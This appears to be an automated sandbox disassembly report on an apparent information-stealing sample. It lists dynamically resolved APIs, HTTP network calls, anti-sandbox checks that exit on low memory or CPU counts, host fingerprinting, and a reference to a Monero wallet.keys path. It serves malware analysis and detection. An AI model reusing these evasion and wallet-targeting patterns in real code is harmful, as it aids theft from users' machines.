GetProcAddress.KERNEL32(75550000,008FC9F0), ref: 00E29D20
GetProcAddress.KERNEL32(75550000,008E6820), ref: 00E29D39
GetProcAddress.KERNEL32(75550000,008E6960), ref: 00E29D51
GetProcAddress.KERNEL32(75550000,008E6840), ref: 00E29D69
GetProcAddress.KERNEL32(75550000,008E6880), ref: 00E29D82
GetProcAddress.KERNEL32(75550000,008FCAE0), ref: 00E29D9A
GetProcAddress.KERNEL32(75550000,008FCAC8), ref: 00E29DB2
GetProcAddress.KERNEL32(75550000,008EB4C8), ref: 00E29DCB
GetProcAddress.KERNEL32(75550000,008E6980), ref: 00E29DE3
GetProcAddress.KERNEL32(75550000,008FCA08), ref: 00E29DFB
GetProcAddress.KERNEL32(75550000,008FC858), ref: 00E29E14
GetProcAddress.KERNEL32(75550000,008FC870), ref: 00E29E2C
GetProcAddress.KERNEL32(75550000,008FCA38), ref: 00E29E44
GetProcAddress.KERNEL32(75550000,008E69A0), ref: 00E29E5D
GetProcAddress.KERNEL32(75550000,008FC828), ref: 00E29E75
GetProcAddress.KERNEL32(75550000,008FCA50), ref: 00E29E8D
GetProcAddress.KERNEL32(75550000,008FCA98), ref: 00E29EA6
GetProcAddress.KERNEL32(75550000,008FCA68), ref: 00E29EBE
GetProcAddress.KERNEL32(75550000,008FCA80), ref: 00E29ED6
GetProcAddress.KERNEL32(75550000,008FC888), ref: 00E29EEF
GetProcAddress.KERNEL32(75550000,008FCAB0), ref: 00E29F07
GetProcAddress.KERNEL32(75550000,008FCAF8), ref: 00E29F1F
GetProcAddress.KERNEL32(75550000,008FC810), ref: 00E29F38
GetProcAddress.KERNEL32(75550000,008F9FC8), ref: 00E29F50
GetProcAddress.KERNEL32(75550000,008FC8A0), ref: 00E29F68
GetProcAddress.KERNEL32(75550000,008FC8B8), ref: 00E29F81
GetProcAddress.KERNEL32(75550000,008E69C0), ref: 00E29F99
GetProcAddress.KERNEL32(75550000,008FC8E8), ref: 00E29FB1
GetProcAddress.KERNEL32(75550000,008E69E0), ref: 00E29FCA
GetProcAddress.KERNEL32(75550000,008FC900), ref: 00E29FE2
GetProcAddress.KERNEL32(75550000,008FC918), ref: 00E29FFA
GetProcAddress.KERNEL32(75550000,008E6420), ref: 00E2A013
GetProcAddress.KERNEL32(75550000,008E6620), ref: 00E2A02B
LoadLibraryA.KERNEL32(008FC930,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A03D
LoadLibraryA.KERNEL32(008FC948,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A04E
LoadLibraryA.KERNEL32(008FC960,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A060
LoadLibraryA.KERNEL32(008FC978,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A072
LoadLibraryA.KERNEL32(008FC990,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A083
LoadLibraryA.KERNEL32(008FC9A8,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A095
LoadLibraryA.KERNEL32(008FCC30,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A0A7
LoadLibraryA.KERNEL32(008FCD98,?,00E25CA3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE3), ref: 00E2A0B8
GetProcAddress.KERNEL32(75750000,008E6500), ref: 00E2A0DA
GetProcAddress.KERNEL32(75750000,008FCB28), ref: 00E2A0F2
GetProcAddress.KERNEL32(75750000,008F8900), ref: 00E2A10A
GetProcAddress.KERNEL32(75750000,008FCB70), ref: 00E2A123
GetProcAddress.KERNEL32(75750000,008E65A0), ref: 00E2A13B
GetProcAddress.KERNEL32(73CC0000,008EB090), ref: 00E2A160
GetProcAddress.KERNEL32(73CC0000,008E6360), ref: 00E2A179
GetProcAddress.KERNEL32(73CC0000,008EAF50), ref: 00E2A191
GetProcAddress.KERNEL32(73CC0000,008FCBB8), ref: 00E2A1A9
GetProcAddress.KERNEL32(73CC0000,008FCDB0), ref: 00E2A1C2
GetProcAddress.KERNEL32(73CC0000,008E63C0), ref: 00E2A1DA
GetProcAddress.KERNEL32(73CC0000,008E63E0), ref: 00E2A1F2
GetProcAddress.KERNEL32(73CC0000,008FCBD0), ref: 00E2A20B
GetProcAddress.KERNEL32(757E0000,008E6640), ref: 00E2A22C
GetProcAddress.KERNEL32(757E0000,008E6560), ref: 00E2A244
GetProcAddress.KERNEL32(757E0000,008FCB88), ref: 00E2A25D
GetProcAddress.KERNEL32(757E0000,008FCDC8), ref: 00E2A275
GetProcAddress.KERNEL32(757E0000,008E6400), ref: 00E2A28D
GetProcAddress.KERNEL32(758D0000,008EB180), ref: 00E2A2B3
GetProcAddress.KERNEL32(758D0000,008EB1A8), ref: 00E2A2CB
GetProcAddress.KERNEL32(758D0000,008FCD08), ref: 00E2A2E3
GetProcAddress.KERNEL32(758D0000,008E6440), ref: 00E2A2FC
GetProcAddress.KERNEL32(758D0000,008E6480), ref: 00E2A314
GetProcAddress.KERNEL32(758D0000,008EAF78), ref: 00E2A32C
GetProcAddress.KERNEL32(76BE0000,008FCB58), ref: 00E2A352
GetProcAddress.KERNEL32(76BE0000,008E65E0), ref: 00E2A36A
GetProcAddress.KERNEL32(76BE0000,008F8890), ref: 00E2A382
GetProcAddress.KERNEL32(76BE0000,008FCBE8), ref: 00E2A39B
GetProcAddress.KERNEL32(76BE0000,008FCC00), ref: 00E2A3B3
GetProcAddress.KERNEL32(76BE0000,008E6540), ref: 00E2A3CB
GetProcAddress.KERNEL32(76BE0000,008E64A0), ref: 00E2A3E4
GetProcAddress.KERNEL32(76BE0000,008FCB40), ref: 00E2A3FC
GetProcAddress.KERNEL32(76BE0000,008FCCC0), ref: 00E2A414
GetProcAddress.KERNEL32(75670000,008E65C0), ref: 00E2A436
GetProcAddress.KERNEL32(75670000,008FCBA0), ref: 00E2A44E
GetProcAddress.KERNEL32(75670000,008FCDE0), ref: 00E2A466
GetProcAddress.KERNEL32(75670000,008FCC18), ref: 00E2A47F
GetProcAddress.KERNEL32(75670000,008FCD20), ref: 00E2A497
GetProcAddress.KERNEL32(759D0000,008E62C0), ref: 00E2A4B8
GetProcAddress.KERNEL32(759D0000,008E63A0), ref: 00E2A4D1
GetProcAddress.KERNEL32(76D80000,008E64C0), ref: 00E2A4F2
GetProcAddress.KERNEL32(76D80000,008FCC48), ref: 00E2A50A
GetProcAddress.KERNEL32(6F5C0000,008E64E0), ref: 00E2A530
GetProcAddress.KERNEL32(6F5C0000,008E6600), ref: 00E2A548
GetProcAddress.KERNEL32(6F5C0000,008E6340), ref: 00E2A560
GetProcAddress.KERNEL32(6F5C0000,008FCC60), ref: 00E2A579
GetProcAddress.KERNEL32(6F5C0000,008E6320), ref: 00E2A591
GetProcAddress.KERNEL32(6F5C0000,008E6660), ref: 00E2A5A9
GetProcAddress.KERNEL32(6F5C0000,008E6280), ref: 00E2A5C2
GetProcAddress.KERNEL32(6F5C0000,008E6460), ref: 00E2A5DA
GetProcAddress.KERNEL32(6F5C0000,InternetSetOptionA), ref: 00E2A5F1
GetProcAddress.KERNEL32(6F5C0000,HttpQueryInfoA), ref: 00E2A607
GetProcAddress.KERNEL32(75480000,008FCC78), ref: 00E2A629
GetProcAddress.KERNEL32(75480000,008F88A0), ref: 00E2A641
GetProcAddress.KERNEL32(75480000,008FCD38), ref: 00E2A659
GetProcAddress.KERNEL32(75480000,008FCC90), ref: 00E2A672
GetProcAddress.KERNEL32(753B0000,008E62A0), ref: 00E2A693
GetProcAddress.KERNEL32(6D600000,008FCCA8), ref: 00E2A6B4
GetProcAddress.KERNEL32(6D600000,008E6380), ref: 00E2A6CD
GetProcAddress.KERNEL32(6D600000,008FCCD8), ref: 00E2A6E5
GetProcAddress.KERNEL32(6D600000,008FCCF0), ref: 00E2A6FD

Strings

InternetSetOptionA, xrefs: 00E2A5E5
HttpQueryInfoA, xrefs: 00E2A5FC

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d00f571608e1247e4d06da186cb2d565dfc3da348319f04bfd2b1b50d953de0f
Instruction ID: 9591c47fda6a1b5c705f104dd775e0c634245c03084395d307072bb69d03f792
Opcode Fuzzy Hash: d00f571608e1247e4d06da186cb2d565dfc3da348319f04bfd2b1b50d953de0f
Instruction Fuzzy Hash: EA62E8B5710308EFC764DFA8E9989673BF9F78C601714875AA68AC324CD63F9841DB60

Function 00E16280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14839
Part of subcall function 00E147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14849

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

InternetOpenA.WININET(00E30DFE,00000001,00000000,00000000,00000000), ref: 00E162E1
StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E16303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16335
HttpOpenRequestA.WININET(00000000,GET,?,008FDC58,00000000,00000000,00400100,00000000), ref: 00E16385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E163BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E163D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00E163FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E1646D
InternetCloseHandle.WININET(00000000), ref: 00E164EF
InternetCloseHandle.WININET(00000000), ref: 00E164F9
InternetCloseHandle.WININET(00000000), ref: 00E16503

Strings

ERROR, xrefs: 00E164C9
GET, xrefs: 00E1637C
ERROR, xrefs: 00E16407

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 81a44bfa8f2a579c110e4dc93865bff4d74c9d770f4fa490656e387a8b0defe7
Instruction ID: 40057ed71b7c90c9e72a025df92635f0bcb26063512fb1a67cb857c40a8a6583
Opcode Fuzzy Hash: 81a44bfa8f2a579c110e4dc93865bff4d74c9d770f4fa490656e387a8b0defe7
Instruction Fuzzy Hash: 63714A71A00318EBDB24DFA0DC59BEEB7B8BB44700F1091A9F50A7B184DBB56A85CF51

Function 00E25510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E2A820: lstrlen.KERNEL32(00E14F05,?,?,00E14F05,00E30DDE), ref: 00E2A82B
Part of subcall function 00E2A820: lstrcpy.KERNEL32(00E30DDE,00000000), ref: 00E2A885

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E256A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25857

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E251F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25228

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E252C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25318
Part of subcall function 00E252C0: lstrlen.KERNEL32(00000000), ref: 00E2532F
Part of subcall function 00E252C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00E25364
Part of subcall function 00E252C0: lstrlen.KERNEL32(00000000), ref: 00E25383
Part of subcall function 00E252C0: lstrlen.KERNEL32(00000000), ref: 00E253AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E2578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25A0C
Sleep.KERNEL32(0000EA60), ref: 00E25A1B

Strings

ERROR, xrefs: 00E259FE
ERROR, xrefs: 00E25693
ERROR, xrefs: 00E25636
ERROR, xrefs: 00E25849
ERROR, xrefs: 00E2577D
ERROR, xrefs: 00E25932

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 5abf67085bfbb398fc31b54cb1622d2059e911ad95d9e3870d40726ef122cea3
Instruction ID: c2dc3817eeb3a9ca3a4449e7b6530e78ca3441811a7dec8780e5435e67e8c708
Opcode Fuzzy Hash: 5abf67085bfbb398fc31b54cb1622d2059e911ad95d9e3870d40726ef122cea3
Instruction Fuzzy Hash: 29E15F729102189BCB1CFBA0FD56AFE73B9AF54300F449168F50677095EF356A09CBA2

Function 00E217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00E217C5
ExitProcess.KERNEL32 ref: 00E217D1

Strings

block, xrefs: 00E217B7

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 3cc5efc9a2d205e61a3cbc603bd2fa328bff1cd8df69348a5e29a5e6c90e0bc8
Instruction ID: 929d3a8e9fb180bd35c6e3a2fad974fd48e248c18f3ec112360a9563b62bfcbe
Opcode Fuzzy Hash: 3cc5efc9a2d205e61a3cbc603bd2fa328bff1cd8df69348a5e29a5e6c90e0bc8
Instruction Fuzzy Hash: E05160B4B04219EFCB08DFA0E968ABE77F9BF94704F106098E40677244D775EA81CB61

Function 00E27500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00E27542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E2757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27603
RtlAllocateHeap.NTDLL(00000000), ref: 00E2760A
wsprintfA.USER32 ref: 00E27640

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Strings

, xrefs: 00E2764D, 00E27655, 00E2761B, 00E27623
\, xrefs: 00E27560
C, xrefs: 00E2754C
:, xrefs: 00E2755C

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 9fc116894a89d50c68ace7145021b714f000be6c0dd9f3214be409b87a65cb75
Instruction ID: e5e1f9f731eb7ee55a6ef64f6c2a70bb980c5dfa2084f84008ff0395cc49af30
Opcode Fuzzy Hash: 9fc116894a89d50c68ace7145021b714f000be6c0dd9f3214be409b87a65cb75
Instruction Fuzzy Hash: BA417FB1E04358EBDB10DB94EC45BEEBBB8EB08704F101199F64977280DB796A44CBA5

Function 00E269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F0780), ref: 00E298A1
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F0798), ref: 00E298BA
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F0660), ref: 00E298D2
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F07B0), ref: 00E298EA
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F05A0), ref: 00E29903
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F89A0), ref: 00E2991B
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008E6760), ref: 00E29933
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008E67C0), ref: 00E2994C
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F0678), ref: 00E29964
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F07C8), ref: 00E2997C
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F05B8), ref: 00E29995
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F05D0), ref: 00E299AD
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008E68A0), ref: 00E299C5
Part of subcall function 00E29860: GetProcAddress.KERNEL32(75550000,008F05E8), ref: 00E299DE

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E111D0: ExitProcess.KERNEL32 ref: 00E11211

Part of subcall function 00E11160: GetSystemInfo.KERNEL32(?), ref: 00E1116A
Part of subcall function 00E11160: ExitProcess.KERNEL32 ref: 00E1117E

Part of subcall function 00E11110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E1112B
Part of subcall function 00E11110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00E11132
Part of subcall function 00E11110: ExitProcess.KERNEL32 ref: 00E11143

Part of subcall function 00E11220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E1123E
Part of subcall function 00E11220: __aulldiv.LIBCMT ref: 00E11258
Part of subcall function 00E11220: __aulldiv.LIBCMT ref: 00E11266
Part of subcall function 00E11220: ExitProcess.KERNEL32 ref: 00E11294

Part of subcall function 00E26770: GetUserDefaultLangID.KERNEL32 ref: 00E26774

Part of subcall function 00E11190: ExitProcess.KERNEL32 ref: 00E111C6

Part of subcall function 00E27850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27880
Part of subcall function 00E27850: RtlAllocateHeap.NTDLL(00000000), ref: 00E27887
Part of subcall function 00E27850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E2789F

Part of subcall function 00E278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27910
Part of subcall function 00E278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E27917
Part of subcall function 00E278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E2792F

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008F89E0,?,00E3110C,?,00000000,?,00E31110,?,00000000,00E30AEF), ref: 00E26ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E26AE8
CloseHandle.KERNEL32(00000000), ref: 00E26AF9
Sleep.KERNEL32(00001770), ref: 00E26B04
CloseHandle.KERNEL32(?,00000000,?,008F89E0,?,00E3110C,?,00000000,?,00E31110,?,00000000,00E30AEF), ref: 00E26B1A
ExitProcess.KERNEL32 ref: 00E26B22

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

